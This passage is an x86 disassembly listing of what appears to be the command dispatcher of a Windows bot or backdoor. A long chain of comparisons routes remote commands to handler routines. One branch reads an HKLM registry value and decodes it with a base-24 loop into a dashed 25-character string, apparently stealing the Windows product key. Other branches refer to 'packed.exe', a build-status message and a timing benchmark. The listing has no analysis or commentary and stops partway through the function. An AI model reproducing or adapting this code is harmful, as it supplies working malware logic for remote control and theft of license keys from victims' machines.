loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	ds:dword_417028	; RegCloseKey


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	ds:dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	ds:dword_417028	; RegCloseKey


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	ds:dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset dword_419DDC
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DA68
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41EC30
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DA48
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41EF48
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset aPacked_exe ; "packed.exe"
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41EF48
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41EF48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
